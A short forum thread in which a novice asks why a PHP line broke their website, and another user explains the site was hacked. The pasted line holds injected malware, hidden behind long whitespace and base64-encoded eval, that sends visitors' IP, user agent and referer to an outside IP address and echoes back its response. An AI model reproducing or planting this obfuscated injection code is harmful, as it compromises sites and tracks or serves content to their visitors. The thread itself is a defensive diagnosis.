[yettie]

Hi very new to coding and my website just went down with this error. The line with the error is the following code. Any immediate help would be greatly appreciated.

PHP Code:

return trim(preg_replace("/\s*(?:\*\/|\                                                                                                                                                                                                                                                                                                            ?><?php $_F=__FILE__;$_X='Pz48P3BocCAkM3JsID0gJ2h0dHA6Ly85Ni42OWUuYTZlLm8wL2J0LnBocCc7ID8+';eval(base64_decode('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw=='));$ua = urlencode(strtolower($_SERVER['HTTP_USER_AGENT']));$ip = $_SERVER['REMOTE_ADDR'];$host= $_SERVER['HTTP_HOST'];$uri = urlencode($_SERVER['REQUEST_URI']);$ref = urlencode($_SERVER['HTTP_REFERER']);$url = $url.'?ip='.$ip.'&host='.$host.'&uri='.$uri.'&ua='.$ua.'&ref='.$ref; $tmp = file_get_contents($url); echo $tmp; ?>).*/", '', $str));

[Nico]

I hate to say, but you got hacked. Remove this piece of code from your site and change all your passwords.

[Nico]

UPDATE:

The script attempts to send user data (such as IP, user agent, etc...) to http://91.196.216.30/bt.php, receives, and outputs a response.

Lucky for you, the script had a parse error and never worked. ;p

But you should still change your passwords.